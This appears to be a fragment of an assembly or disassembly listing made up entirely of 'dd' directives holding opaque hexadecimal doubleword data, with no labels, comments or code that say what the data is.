dd 0CB6BCDFh, 0F34D7463h, 0B1195A03h, 9D815CC5h, 4F6AEF84h dd 3F27CC25h, 7DF988F5h, 0CE7C7AA9h, 0AD3D2C42h, 69CD00CFh dd 7494EC85h, 17268520h, 0F4F68815h, 0DE8D7AB4h, 81511074h dd 5FC98405h, 88F3E6h, 3306D233h, 0F778421Ch, 0BF8B5BC5h dd 4A7D199Fh, 7D68E125h dd 2DF7A1F5h, 0EE439A85h, 0F8206749h, 80CD0280h, 679D0B81h dd 2F29FA59h, 9DDBF05h, 0FABA0881h, 0B95D6577h, 8EE40536h dd 68A0D7D5h, 0A11B9600h, 0D32EEC3Ah, 0B2A2C82Bh, 0F96AB5A2h dd 5FFD8716h, 0B6B8B6D2h, 3D5E8224h, 0E9A75460h, 793DCF98h dd 76F84EEEh, 0E1169CE4h, 1815BA78h, 2E20C33Bh, 0AD381678h dd 0FFC4C988h, 63D818B3h, 6478F105h, 0A9F3CB3Ah, 0C31C77F0h dd 905840A4h, 7A970B12h, 1DA8B876h, 0B4047063h, 69660CA5h dd 0AF6C9380h, 216DB313h, 30487C1Dh, 6398F0B9h, 6DE8F8A8h dd 0DCFC7D10h, 0EBC84E31h, 6AC038E1h, 7D7C88C0h, 0D087FE5Eh dd 73D8E242h, 9238CE73h, 0C0A8BD92h, 274FA409h, 0E8CAB7B8h dd 0B1A7F167h, 78570F41h, 0B55D9ADFh, 8B184C20h, 1198089Ch dd 3F827C4Bh, 2D521A9Bh, 8B880408h, 9BDA58B0h, 1B40606Ah dd 4F788E22h, 39BEDA0h, 0BFCE7F0Fh, 0F6371850h, 0E39ED36Fh dd 0F48D74F0h, 0B4D3D344h, 67B8C508h, 75F233h, 0C3583C20h dd 0A2CF8B73h, 9A635A3Fh, 4D2888D2h, 53526BEDh, 823012B0h dd 5CD7BFFFh, 1546B4D5h, 144711A0h, 8918CAD9h, 7097075Ah dd 837EA31Bh, 648554F0h, 1958AB1Eh, 0B857B968h, 0BF7D552Fh dd 26481C1Eh, 5CB84EB0h, 0FFC1534Fh, 0D3CC7E10h, 0DE033B9Fh dd 89C8CC62h, 0BC5CE085h, 0CC30C1DDh, 0CC207CA0h, 0CAE7550Eh dd 3AAB8787h, 9DB80678h, 268969E0h, 0F948792Ch, 0A22559B3h dd 55E8A077h, 0D219B871h, 4EC94B20h, 0CFD61A55h, 293CF110h dd 5AE319Fh, 0AB85D2A0h, 7F7D0004h, 0C5782E50h, 0B825DDFDh dd 4B189AEBh, 59FD35BFh, 2DB8F68Bh, 8F28D9B2h, 5A586830h dd 0C0CE7C44h, 25E3C255h, 0A4680120h, 8183A4F5h, 95E80CC0h dd 87FB0B10h, 1260DC7Ah, 0C4D8B2B0h, 89828142h, 66887B99h dd 0EC88A9C9h, 851D6AE0h, 0A62A9048h, 4D878605h, 48EA03E0h dd 0B958CA65h, 66F55080h, 5E3DB3Dh, 7D52720h, 0F298CA4Fh dd 9FE02CBCh, 0CD81B21Fh, 17096460h, 29D890B8h, 562CA854h dd 1087EE50h, 0B3D822DAh, 6595B67Bh, 0F697C64h, 3DD2F690h dd 6B08D008h, 0CB0A5430h, 52576780h, 0F5E860A6h, 0B4C54513h dd 5198BB74h, 7D82B991h, 0C5397C41h, 9B884460h, 4B4D8DE2h dd 0A128B03Eh, 3E0C38D5h, 97A0A8F0h, 96182AF1h, 0CF4CECBFh dd 0E2B88692h, 5B379675h, 0B9DDBB30h, 0B34B06F4h, 0BF2CB580h dd 54193E20h, 8B0D6526h, 6E8D8FEh, 5D4D3695h, 9D1DDB36h dd 64D8428Eh, 407AC457h, 0C820EA3Ah, 73C9D837h, 612BA1F0h dd 3C31282Ah, 0ADE8363Bh, 7B58C4B0h, 13CD3D62h, 6A8E0BEh dd 0B5FA1614h, 0C73CB320h, 30D8578h, 6CE8B8FFh, 522A43EFh dd 59D50470h, 0F75832B4h, 0B129150Ah, 30FC03DBh, 4A2BBCB0h dd 91187F7Dh, 7E6B1850h, 596AB9C6h, 14807B20h, 3658A231h dd 67A9C004h, 0AFC67ED0h, 430E3C55h, 75975A4Eh, 1FE889C1h dd 38188890h, 4509A291h, 0EE965BE0h, 18A30275h, 4A792896h dd 5999528Bh, 324E9BF0h, 0B0626DBFh, 86E12680h, 348D5B21h dd 94588230h, 57B62B05h, 1DF8B4D0h, 0A3480C2Ch, 44676920h dd 0FFF857CAh, 2D389A2Dh, 0E40DCB60h, 60D8F2B0h, 0B72820B1h dd 0B72870D1h, 96C72AE9h, 4118AA55h, 0C3601EC3h, 19B70BACh dd 0CB083479h, 0A2D420Ch, 2892AC2Ch, 55F83255h, 0A3454120h dd 8CB83A50h, 0AB8D2FE1h, 31940965h, 0BAF4D140h, 1F82DCEh dd 0E65D7474h, 0B57B50D1h, 86E7739Ah, 0DE5F4C98h, 0F559B740h dd 7DB8C180h, 545AF617h, 0C966E8A5h, 57684380h, 0DDA8CE80h dd 6348CC29h, 0FFEF9534h, 0DB8947ACh, 0F7ADA910h, 9E88945Fh dd 7AEEC670h, 33AD69C9h, 0F4781E6Fh, 0D3CA3CC8h, 57493B70h dd 31FD6710h, 0D0B8D6AFh, 9B136B75h, 706B7230h, 0B5F801D4h dd 80072F81h, 43589272h, 8EBCDEF7h, 8FD62E55h, 4DFBCE10h dd 0EB9D13EDh, 0EA2193B0h, 5642C16Ah, 0F687DDAFh, 36DDE3A4h dd 0D2423E30h, 0BCB8F39Bh, 1E8A59Bh, 76CB616Dh, 23D30220h dd 0C7A8318Ch, 0F4F0D45Bh, 0DB4B8C20h, 0DAF8715Bh, 1E4E1B0Bh dd 4F7F1364h, 58A6AF95h, 828B7D77h, 0E3A3F7CCh, 25129A00h dd 6CA2AEF1h, 0FFFEBF0Fh, 62E35850h, 1DA8B8CAh, 60047063h dd 7EB161FFh, 0A7C21747h, 9A713E38h, 4C1BAF23h, 70CFCE36h dd 12B48D92h, 0E24A9579h, 0CFEE4B13h, 87B105ECh, 645FEF64h dd 370DED0Ch, 7A6B9D2h, 0D26A6FA6h, 93065729h, 91C81ED5h dd 596DE68Fh, 2B399630h, 0CFDC95E7h, 0B58C6DBFh, 0B3484C22h dd 2D110825h, 4787DAB0h, 416BB79h, 0FAEF6712h, 0B0A053DCh dd 0F744102Eh, 6E3BC71Eh, 37A9CD80h, 0E66D9A89h, 0FC3D1239h dd 0B59814D5h, 45413BAAh, 502E8410h, 6DDDA4F2h, 95F81685h dd 42152C20h, 0E186F79Dh, 686D4EC0h, 4D38A605h, 45F6719Fh dd 411912A0h, 0BD14341Fh, 33CDE54Eh, 6AC88C9Eh, 1436F65Ch dd 0B1E99E6Ah, 9ECD3B6Fh, 0D432E96Dh, 6FD38220h, 210DE782h dd 0C57D5375h, 2C481C18h, 0C1A0ECF5h, 0B96192C0h, 0D3761AEAh dd 0B989759Bh, 6188197Fh, 48D7DB21h, 0ED5C32D3h, 0FB8C09A4h dd 4118AAF8h, 412B9E13h, 9DF44AD4h, 0F582A11Fh, 39536220h dd 4D3B9DF4h, 0C007EDD2h, 8358D212h, 590BCA8Fh, 2017B657h dd 0D387DF8h, 78CEF760h, 478B9DEFh, 97644C44h, 0FBF2BBAFh dd 8F205CB0h, 0C9E7750Eh, 0B0974E42h, 6F666B6Fh, 623B14F0h dd 9BB0C7BDh, 56F97090h, 64A8CF81h, 0F6B79D71h, 9188C4F6h dd 0BFE82328h, 0A86B0310h, 35BAB732h, 4994FEF4h, 49A275FFh dd 0AF900E40h, 0A4C83CA0h, 686A1A83h, 6E0EEC2Eh, 0C8479690h dd 8B18CAD2h, 8762A7B9h, 0D6A75090h, 0C85F35Dh, 0C6C1AC30h dd 7188E530h, 157DF791h, 5E38262Eh, 0FB886008h, 0A36D1FB0h dd 0E28D019h, 0BA5E53DDh, 71201CB0h, 87E7B505h, 1105FD87h dd 6DB8A680h, 75677163h, 14580220h, 0D7B61D15h, 9FAC0ED0h dd 7148E621h, 5198B818h, 557D1740h, 2838062Fh, 0F9FD1EA0h dd 17B8FF3Dh, 5D7AA010h, 8CD4356h, 0C7C8ECBEh, 90487AA6h dd 0C1FDA712h, 45B896AFh, 742E211Fh, 0FC9EE220h, 0A7B851C7h dd 0D5F4D6D0h, 501F6C20h, 2D3D93Fh, 13ACE6F2h, 18C7F65Ch dd 0BB981AEAh, 0E9DF3A23h, 0A2A58000h, 4568B6B1h, 857551F9h dd 49181ACEh, 3097CD7Dh, 0FDB86A78h, 6541C3E0h, 0D1D8C79h dd 0CBE4B4AEh, 3F6DE1D0h, 66485C1Eh, 241C75B0h, 0ACE8A8C2h dd 6D38D378h, 843D8960h, 90D822A9h, 0C83ADD8Dh, 23908E40h dd 0D0374355h, 9127FC4Dh, 2B671840h, 0DDB84480h, 0A989861h dd 510CA230h, 67A8D181h, 0AB0E6B2Fh, 7C92C30h, 0F1985BE0h dd 753C0390h, 0D8C7E410h, 7B98DB76h, 0DC81D235h, 0C4A0280Dh dd 90876E50h, 33D8A20Ah, 0DC9B281Bh, 8F78E62Fh, 30915390h dd 0FB162765h, 8CA7D230h, 47B88F82h, 0F1F71E55h, 0A3480DA9h dd 5A947AFBh, 70D897C0h, 3D26F995h, 1C0D0260h, 88D8E2F1h dd 0B642206Ah, 70874C3Ah, 13D843AEh, 4EE75273h, 6F69B8C4h dd 8359590h, 0CB182A8Bh, 0AA0A725Ah, 1956057Fh, 957DBEC0h dd 8208692Fh, 0C151A70h, 0DFF8564Ch, 31D07EA1h, 53775B9Ah dd 69D8D224h, 1ECE2B5Eh, 3A2C0A64h, 0E3F6DE35h, 0BBA507F0h dd 0FE68A85Eh, 87A50E91h, 3E85EB1Fh, 0D9485CB7h, 13C070EAh dd 67F89ED0h, 69DD3373h, 1C98EA4Fh, 32FC0C84h, 0FD7ABE85h dd 0AD87D460h, 6D9C39BAh, 7FC82114h, 0B7794452h, 99DA3EEAh dd 255C61F3h, 20891848h dd 0CB02651h, 9B2CB0EBh, 340810CFh, 0F797183Dh, 15E496D0h dd 6D6DAC20h, 5FB8A246h, 0A5C826E0h, 0E31D1335h, 83AD1C58h dd 23ABB790h, 19618F4Ah, 7A2FEE70h, 0A3F62635h, 4DDCCBF0h dd 65687840h, 6EEFF690h, 5402411Fh, 14D30220h, 0C7B82510h dd 0EE1B5EBAh, 7245454Bh, 5198BF98h, 1BCDCEC0h, 526F161Ah dd 0CBB67EF5h, 51CF1B0h, 5F234B50h, 6578CE57h, 8D68412Dh dd 924F2AE0h, 0D062CDBFh, 0DD3D8680h, 0FE85E09Eh, 7948DD78h dd 0B238B503h, 58F83EC0h, 13092BADh, 5B56B170h, 0CBE99C0h dd 0B23E63EFh, 430B2470h, 78F72CB0h, 0A2A57E8Bh, 45689118h dd 0DD3AD110h, 49781A85h, 3097C26Ah, 1EAF14F1h, 2A7F19E9h dd 96D328DBh, 3A253EABh, 0B5E82198h, 14CFE8D3h, 0EECBC39Bh dd 2FD65255h, 1A855610h, 9A881475h, 0F9B018C4h, 8286075h dd 354624C5h, 14753CA0h, 8118FAB1h, 2AAF0934h, 0DDA858FFh dd 0B0874E0h, 781F27F6h, 8EA8D090h, 6A0700D8h, 0D6C8A9E7h dd 0F1985A60h, 0DDB508C0h, 4735B614h, 14E6C42Fh, 0C6F87CDFh dd 0BE446066h, 25590B36h, 5ABCBCEFh, 1538AF9Dh, 0EA0BD82Fh dd 0CFDA43FCh, 0CA6D2081h, 3978883Dh, 88890A0h, 188DADF0h dd 833A694Dh, 0B5EA5B17h, 0F2C906A5h, 415DC41Ah, 37FCAA05h dd 0E5AB81D5h, 0D6400079h, 0C5013E20h, 33AC12C1h, 2468D295h dd 109AC23h, 0EE982AE4h, 0AF665594h, 0C33F0C59h, 2DA5BDA0h dd 368CDF87h, 0E4268548h, 0DDF47B50h, 0A6892CE0h, 69561730h dd 5CE1CA40h, 49F4A6D8h, 0B75A6F66h, 0A0115C36h, 0D3BB38CEh dd 406FAAB9h, 4252CC29h, 18D0B19Ah, 0CA287192h, 0A0782742h dd 278405EFh, 5091ECB6h, 5C3BA84Eh, 0FCF7B950h, 0F6C809A5h dd 9E517664h, 76E1F040h, 0F893D5h, 575BC774h, 0C00C6F3Ch dd 71699481h, 0A70C43BCh, 7A6D2D50h, 0FEB04AF8h, 2051A312h dd 0B989A10Ah, 483B0833h, 36DDE8F2h, 2F84F04Eh, 7198DAB2h dd 9FE808C0h, 0CD383610h, 0FB886460h, 29D892B0h, 5728C000h dd 8578EE50h, 0B3C81CA0h, 0E1184AF0h, 0F687840h, 3DB8A690h dd 6B08D4E0h, 99580230h, 0C7A83080h, 0F5F85ED0h, 23488C20h dd 5198BA70h, 7FE8E8C0h, 0AD381610h, 0DB884460h, 9D872B0h dd 3728A000h, 6578CE50h, 364B9CA0h, 0C1086848h, 53CDDB40h dd 1DB896D2h, 5F4B03EFh, 7640B1BDh, 0A4AE5B37h, 0F1BCB500h dd 0F0A4704h, 73A38302h, 0D4FCBBC8h, 0CF13E252h, 31DAD6Ch dd 60D842F2h, 76A3C85h, 0C67D4550h, 0AA2AF462h, 0A11CC891h dd 0EB37BDC8h, 99506680h, 430894E0h, 5958C210h, 0A424750Dh dd 8CA11EC0h, 60443838h, 0E67A7EB0h, 7D7C2D3Fh, 9AFBD600h dd 0C40507B9h, 2AD82294h, 0B589F10h, 0CDFB8EDFh, 0DA3E5EA4h dd 913B666Dh, 0AF529B40h, 0EF9343E4h, 861806E3h, 62005E7Eh dd 679253DEh, 0A707FAA4h, 0B1B72FCBh, 0ECFB260h, 0D1C3773Fh dd 0F843B3Bh, 78D0E470h, 261B26FBh, 0C76AD885h, 91FDA950h dd 33C88CE2h, 8918CAF0h, 8F68F87Ch, 0FF2CA31Bh, 42E054F0h dd 0F1A77DC6h, 47A8B098h, 376C6353h, 0D6480C30h, 0D905B378h dd 14E878E4h, 0B9B5698Ch, 9888D422h, 0CB40773Fh, 22A12010h dd 0E5680CC4h, 13C87F48h, 82D199F0h, 6FE84BCBh, 75EA0690h dd 34F7CA0Dh, 0BBE4F733h, 0F1AB9090h, 55F4C453h, 824F682Fh dd 0CB1B1A70h, 5BE748D0h, 0D3876EDh, 6B84E6EBh, 96261A58h dd 2BAD03FFh, 0C6783E12h, 0FB420C66h, 55187370h, 61913859h dd 96F8E5E4h, 0AA409F11h, 687A3B1h, 0FE29AF5Fh, 35B4D294h dd 48112055h, 6B6179B8h, 0BF5FA7CFh, 6C5E5610h, 29BB7A18h dd 497337BFh, 0F47EE000h, 0A00D0E6Ah, 38D8762Bh, 212E1F2h dd 5D80C9B1h, 5E47396Eh, 9B4A4855h, 79DD8F30h, 63A7ABF8h dd 15F87E54h, 1F419DFh, 99C8DA60h, 6017F695h, 8F84B313h dd 7E076470h, 29C8D00Ch, 40CC403h, 0B67A2ED3h, 0BB7E137Bh dd 28985813h, 2BA92B60h, 2191A2B4h, 4F04FDC4h, 70B3426Bh dd 10A7CB01h, 0CB8C836Bh, 66E077A1h, 67EC611Eh, 44B11341h dd 834CE9B1h, 0F95EBFE1h, 2FACDE05h, 0DEBB5B81h, 7B0C3D08h dd 7AB50721h, 0D76CD9A8h, 0D02EA3C1h, 13CC67B5h, 74384F61h dd 7F2C0315h, 0E530857Fh, 3CA33EC0h, 0FCB79351h, 255A192Eh dd 0A0162729h, 0E73935EFh, 0F2607C64h, 6127AD45h, 70EB995h dd 74C0C850h, 0B32ADEB8h, 431A0914h, 0C9029326h, 8968EC8h dd 0E98B6B1Fh, 33894538h, 0A640A885h, 3507E125h, 0E83B4FDAh dd 949A2AC0h, 3FF88EF9h, 71F3DBAh, 1B225C08h, 0D1AD314Ah dd 0F6C071B0h, 9D8771A5h, 53C8BCA1h, 8C6C3874h, 6596F891h dd 0D853B07Bh, 0B087458h, 86BA09B0h, 0F73D5D43h, 0BEF8EEE9h dd 92DBF7h, 0C81CDF87h, 1FE888D0h, 0D837BE10h, 706825A0h dd 905A9746h, 0A2294010h, 8C750856h, 0C5DB7785h, 71214875h dd 891DFA40h, 98892BF6h, 0E66E500Bh, 0B23EA731h, 0B8570C68h dd 41BB552Fh, 0E1E499A9h, 12333A60h, 0C66CED37h, 2D389600h dd 0CE87CC60h, 2364F670h, 48D7BCE8h, 55EDC7AFh, 0E5C86CE2h dd 51212875h, 6B1DD940h, 9F53379Fh, 8A3F4CBh, 0C0DCE7C7h dd 27A89090h, 728CB6D0h, 0BA3669AAh, 51591A60h, 54E52ECBh dd 0BD931055h, 0BE020E98h, 69C8EBCEh, 9233E0C1h, 0C3F14A37h dd 95086F0Bh, 990A615Bh, 4F6D3724h, 33D6C3Bh, 0AF0804D9h dd 0C1B88368h, 826EB32Bh, 35E8B944h, 0D36D2729h, 0F7B8118Ch dd 0D9E8C378h, 8721BDBBh, 1260DC64h, 0C4274D44h, 97E93204h dd 2C7D6858h, 38635A60h, 0AB88DAF3h, 0C730832Ah, 0A2473560h dd 0AC9C7160h, 395E2220h, 0C8DB587Ah, 0D68CAC54h, 803C66DEh dd 0B6EC108Eh, 469CC23Eh, 0C14CFCEEh, 0F4FCAE9Eh, 26AC584Eh dd 9CC339B0h, 35D269E0h, 30CF77Bh, 51D8A105h, 0CCD493B8h dd 43C2367h, 4B08D4F0h, 1FE80230h, 0C3AC32F5h, 7F06115Dh dd 3371F085h, 0D133DC70h, 789DED3Ch, 0E2B816A0h, 3322049Fh dd 0F6278DD2h, 0EAC25F7h, 2578CE40h, 2BAEFCA0h, 0C36D1B96h dd 440E71F4h, 98B29E20h, 4B188D9Eh, 0D35B02F0h, 58572D68h dd 22708E2Fh, 1371E8A5h, 31189A70h, 0EFEABDC0h, 0F19D7C96h dd 0DD883459h, 0EC24D21Bh, 17988775h, 587E1D0h, 0CE451F0Ah dd 0A1083360h, 309735A8h, 793D916Fh, 2B0884D9h, 2D48C230h dd 2DC84083h, 8C7C9B27h, 0E3484C30h, 16EC7270h, 0D363FD78h dd 9A777D10h, 8BB180E5h, 0C9D831B0h, 7AC6F01h, 95788E50h dd 0DA631648h, 915A764Dh, 51A4F040h, 3508B96Fh, 0B681DF4Ah dd 3948E090h, 98566D68h, 117D092Fh, 0C0483C19h, 85985A70h dd 9B6D7FDAh, 4D38A629h, 0F89E460h, 57F6FABAh, 4CC0BFFFh dd 0B58791AEh, 0B8633649h, 715A5675h, 0A4A77340h, 1905AF58h dd 620844A2h, 7EE07E78h, 0EC9E4FE4h, 0DE9E1EE3h, 9ACC89D7h dd 0D19B3A60h, 0EC9C68C0h, 14BA13E6h, 2F08C470h, 74721ABAh dd 0ECC0DFFFh, 5D87B1AEh, 354118C7h, 27D8995Bh, 0EBED2FEBh dd 9EB816A9h, 0BF0834E0h, 7BDD946Ah, 0A7A880B9h, 0D410B4A5h dd 6BB713DDh, 4E67E442h, 20154A28h, 0E518C6EFh, 0C4775F74h dd 0D1BEEB53h, 3C4E15FFh, 50F385C1h, 0F3D86524h, 0E3EF5807h dd 4F68B843h, 0A150F2E5h, 1BF7EB1Ch, 23B6AA2Fh, 0BFCE8F7Fh dd 9E9E8B2Fh, 0ACC367B1h, 0D33C7FFBh, 77C328D0h, 1AC41E99h dd 0BB100E5h, 49D8B1B0h, 80109400h, 0B5418AD5h, 0D3C83CA0h dd 0F6341EF6h, 3F511CC5h dd 5DB8C690h, 630281E1h, 46A7DFF2h, 18551B68h, 917D892Fh dd 4348BC19h, 59CDA70h, 6244E0CAh, 0ACD0C9EFh, 0C779B9Dh dd 39E11635h, 5728C400h, 6D6F9A50h, 4C37E136h, 1FD86348h dd 7D0D388h, 96BCD250h, 80F0A158h, 0E6B0A957h, 3057CF7Dh dd 0E5C1DA55h, 23488420h, 0D1EACF70h, 6FD16A7Dh, 0C44C1610h dd 24752188h, 11F1CA4Fh, 92226929h, 6568F72Eh, 99CB1860h dd 0D1215455h, 0A480F340h, 0AD47796Dh, 0CE821E51h, 7948DBB2h dd 5A94F82Ah, 63F7C12Fh, 137112A5h, 0F19C1770h, 0BF2988C4h dd 0EBB54618h, 118994CBh, 14F8BAE7h, 2B017FFFh, 0A7C0C874h dd 0F63F855Bh, 0A1083374h, 0CF683850h, 0B40861E4h, 5EB0F24Ah dd 3FB9C0CAh, 7B54182Bh, 5D48E12Fh, 48887F8Ah, 5310C7F9h dd 0BA1FA8D0h, 6D28EF94h, 9B880440h, 218F25C5h, 8D79CDEh dd 95B7050Ah, 590297F8h, 91219675h, 53229140h, 2170AE3Ah dd 0B36E8B1Fh, 0BCAF62B1h, 67B8E904h, 95F8FE90h, 7C82F54h dd 8D3D5058h, 79E898F9h, 0C1853FBBh, 0D088F422h, 905C9747h dd 0D7284010h, 0C0D2E50h, 0B6CACC10h, 6108F38Ch, 0BED0FEAh dd 3DB836A9h, 9E0854E0h, 13E0323Bh, 5791CD05h, 481374D0h dd 0BB79B446h, 0E81CBF87h, 0FEE868D0h, 2F4C9610h, 0FE82EDD0h dd 89C8CBCDh, 0BD2BC4C0h, 0F54133F5h, 75631AA0h, 0B6E82B48h dd 7F515CC5h, 9DBA0690h, 7F0A41E0h, 84FD68F8h, 41A880B9h dd 0FD45377Bh, 3B48FC62h, 0B19833E0h, 5B6DBF6Bh, 5386629h dd 4F88A460h, 95F83AC1h, 12DFFFFFh, 0C56817D4h, 0F3C858A0h dd 99A88185h, 76163D4Ah, 9612E680h, 2F8DE3ADh, 0D9585209h dd 72A87088h, 0B640F8C1h, 1DEDC6C0h, 0F798EA49h, 15281B6Bh dd 555E43FBh, 0BE829C49h, 49C88BCEh, 7D2B04C0h, 0B54170F5h dd 24635AA0h, 1121EE75h, 2F789840h, 0DC00A090h, 0B0B8020h dd 1C522AF4h, 0E7B869FEh, 0A3F7D5B6h, 53712EA5h, 0DE707170h dd 6817F73Bh, 0DD01B295h, 0FB886460h, 99D6E6F0h, 2BADC250h dd 2F78FE69h, 4C338948h, 1F57C70Fh, 4DF8F5C9h, 0B84FA680h dd 6B18ED64h, 19580230h, 2F183CF4h, 4871F57Ah, 2358CE94h dd 0B070BF9Bh, 9717173Bh, 52C7ED7Ah, 0E20CC197h, 9D872A0h dd 3C5DA001h, 0E0728EE0h, 93D8C5DCh, 0A717C15Ah, 0E5A8DBF8h dd 0D81FA35h, 0FBA3D2E0h, 0FCAF4831h, 0A7B82904h, 0D5FA3ED0h dd 86BF4355h, 3188A3F4h, 5FECC8C0h, 4D88EC65h, 82F6A16Ah dd 4C5252A0h, 1738B983h, 23684E91h, 0D849BA18h, 0A9F30A40h dd 4A6278F0h, 0FDA85FEEh, 0AF8D634Ah, 5958D209h, 0F2A8F880h dd 364078C0h, 9EED46C8h, 77986A49h, 0D4E9186Bh, 67706618h dd 8BB179E5h, 163098B0h, 0D79FFAh, 35410AD5h, 43C8BCA0h dd 0F46D5BF0h, 2CD07E65h, 0A01D4C68h, 6D0864D9h, 9398919Bh dd 25386DA9h, 100FFEC0h, 0C35815A4h, 0F1B85A70h, 685997B5h dd 0F55EADFBh, 0DE82FC69h, 0A9C82BCDh, 0DD2BA4C0h, 154113F5h dd 1A63FAA0h, 715A5A4Dh, 5A97240h, 0ADFAB635h, 5BA332E0h dd 65DD8068h, 0EDA8A0B9h, 8A02A738h, 27CDFBDFh, 0D2982A49h dd 8BE968C0h, 0A9BD613Ch, 5B88D459h, 0FCDCF2B0h, 33ADD720h dd 0E5785E69h, 66CB7CA0h, 0B8C642FAh, 248027BFh, 7547F96Ah dd 34F7CEE0h, 6A223D8h, 0A32D677Fh, 55F8AEE9h, 0F740EC20h dd 1B51AA78h, 20126528h, 89BD81EFh, 3B88B459h, 1DC8D2B0h dd 0BD2FB02Ah, 0D54152D5h, 0E9289DA0h, 51003FDh, 33CDBA40h dd 0BDB8F6A9h, 6F881704h, 26B0E934h, 0B7578F79h, 0C21034B1h dd 5B733D9h, 9B7805C8h, 0AFD15465h, 5933010h, 0E4777D86h dd 705C3747h, 7708E010h, 0E10C0E50h, 5E43FB2Bh, 1082878h dd 6EE1596Bh, 57E0766Ch, 9B318865h, 6B08830h, 1057AF79h dd 5C1FA55h, 348AC20h, 1794AE70h, 952B5878h, 0DD014A95h dd 9D828F60h, 23386D08h, 4711BCA5h, 6DD38850h, 4C37E536h dd 0D89CCF07h, 0F6B7850h, 62CCA790h, 0EE831B6Bh, 99484090h dd 8F21F8ABh, 2316D2Ch, 337108A5h, 0D198BA70h, 0F2E69DC0h dd 0BD016A95h, 9B80CE60h, 7ADB8B30h, 0FA2C2DF8h, 6568EA14h dd 23C01C61h, 0C7FB817Bh, 2F59E026h, 0A5DE2DF6h, 0F360346Fh dd 7B58E230h, 0FF037661h, 0A031BB7Bh, 32F00A26h, 8133FCB0h dd 74006203h, 7AC709E9h, 0ABB1A0E5h, 0E9D852B0h, 9C32F480h dd 0F1FD259Fh, 58C8CCE2h, 5D508338h, 309147A8h, 577BD66Fh dd 0D4F19108h, 0C9DD4FCFh, 70A8E0B9h, 0A5C19A55h, 0E3484C20h dd 469E0F50h, 0D4B050EBh, 456B5D09h, 4BA3FC4Bh, 8B70BF3Bh dd 62296010h, 2568CCD8h, 174385A1h, 3C91EED4h, 0AF780828h dd 9F34FB1Bh, 8E2374F0h, 3948E0B8h, 5E2C5577h, 95B8FEC0h dd 0C13C2C20h, 33338287h, 48BE88C4h, 0FFC0B93h, 7488E470h dd 0A9D9CB34h, 0D725A800h, 40336E50h, 7F8DD2F2h, 2536F8C3h dd 7068B40Ch, 0AD865405h, 338DDDE0h, 4A589272h, 4494E80Bh dd 5D8B2108h, 4B7C4FABh, 2E67CF69h, 0BD50FD4Bh, 2E639600h dd 0DE01C822h, 89C8B06Ch, 3E206203h, 0F53AAED5h, 3BBBF7A0h dd 4198190Fh, 9D80D840h, 1647F964h, 0DB4A8C5Dh, 1FB03430h dd 0AC576F74h, 45BA0645h, 8B026720h, 9A945073h, 0DA01CB0Eh dd 0C58FE1Fh, 0BF87A460h, 69D8D3EAh, 0D594B503h, 707B2E40h dd 0F3D81ED8h, 2EF0B65Ch, 4F681AC5h, 79FE6B90h, 0E97091CBh dd 0DF5B4220h, 0F30B98D0h, 887B612Fh, 63588E98h, 0AA938F70h dd 3CE72487h, 0ED38570Bh, 8EB1888Bh, 49C8F008h, 7625650Fh dd 207B0E50h, 0D3D87ED8h, 0FE20EB96h, 0D3ED9765h, 0D6B8C690h dd 0C823F6A0h, 0DFB07204h, 0DE57AF74h, 5BAC66Dh, 0A7CDA320h dd 7298DA70h, 8FAAB445h, 0B5BD3510h, 70887422h, 259FB9B0h dd 57E5420Fh, 0C243EE50h, 774B13A8h, 62184AF0h, 486B7A80h dd 453DA584h, 3908C4A2h, 41EDFD60h, 38A820C2h, 0E5C66C45h dd 0E3CDD620h, 512F3F7Fh, 0E301E8C0h, 91381610h, 4F0D4B9Fh dd 89D872B0h, 0B227B53Eh, 6578CEDBh, 0B8C9BA2Bh, 29481EB3h dd 1097ABB5h, 5F003BA9h, 3C7DB4F0h, 3BE46733h, 22AB1090h dd 0D5E87CA8h, 41ACE9A9h, 31139A60h, 1D344DFBh, 854AF600h dd 0F968A15Bh, 80AA52A0h, 1728803Dh, 0AD4FDC20h, 73C8DCBFh dd 2AE4447Dh, 0CC6A1381h, 788376D2h, 2B18D604h, 9DDBCE45h dd 8990F90h, 0D4E43A94h, 6C8B57CBh, 1DAE2F5h, 8A63C8C0h dd 6D289468h, 647C9788h, 0C971534Fh, 82A86000h, 293FA55Eh dd 14F3B5D2h, 0BD9AE5F8h, 0E697E7BFh, 230AC39Fh, 37838B1Fh dd 0BDFF2314h, 98A8D0A9h, 7E17012Fh, 0E702AD62h, 11985A10h dd 9428BB8Eh, 0C8BF921Ch, 7B98A6A4h, 0EB189739h, 6EA54010h dd 57847D8h, 71B019A3h, 0C47ECAE0h, 4943B6E5h, 96AC6493h dd 0ADCE58A2h, 989F6ACBh, 47A8B0D3h, 75F8DED5h, 0FCB44AA9h dd 2ECFF92Eh, 0EFD61655h, 32D05710h, 5A92416Fh, 0DD88F2B0h dd 4842086Ah, 0DBA6DBAFh, 0D34D7CB0h, 4490A5AFh, 8768D841h dd 6247E21Ch, 0CB082508h, 8D3D3130h, 42C4F9C6h, 209BDB83h dd 0FA3C8552h, 4671A31h, 0DFF80A8Ch, 330AE3EFh, 0BE01A470h dd 69C890E4h, 972819E8h, 911D7D50h, 0BCAD37C1h, 537DE487h dd 3F01D033h, 0BD194C0h, 0CC6D7889h, 310F4255h, 0F85798DDh dd 35F88D38h, 312D9F20h, 0FEEC8915h, 0CDB84DB2h, 81512079h dd 1BEDE305h, 0A1E75AE7h, 65C01FFFh, 0F6780E50h, 0B0A97EC5h dd 51681F9Bh, 461EF132h dd 38DFA3FCh, 0A9E0A3E0h, 51A7DDD8h, 0E7A85098h, 7DBB1B83h dd 262FC241h, 18ECB53Eh, 0EDB871A6h, 0A1514079h, 0FBED0305h dd 0CE277AE7h, 3783FFFh, 0B8E86BDDh, 0D7A21CB0h, 0B61920A0h dd 3182EDBFh, 131A680h, 4D9D2BC4h, 0B358120Eh, 8F15BD40h dd 0A5F84E91h, 96B7DC70h, 518887E0h, 7BE8E9A8h, 0AC524210h dd 8F1DBB37h, 5DD862F2h, 0C87FA46Ah, 753A9AC5h, 870C7FA0h dd 83549F0Fh, 7A975850h, 1DA8B8F2h, 0FE8577BFh, 7948A378h dd 0C13DEFD6h, 56F82EEEh, 874793D8h, 31989ACBh, 1DB04D49h dd 8D52F600h, 191DDB36h, 6CD8428Eh, 0B3AC8FC0h, 6E78AE50h dd 19988C60h, 0A0725AF3h, 0CF683828h, 68473050h, 2B18AAA2h dd 56A73AB3h, 87AEF704h, 0E97D97D0h, 6E485C62h, 1DA1AFDh dd 577D25C0h, 3C38C652h, 0CB886E32h, 0F7B6A74Fh, 0FAB6010h dd 0F0FC81AFh, 39C8BCA5h, 0DDAD15F0h, 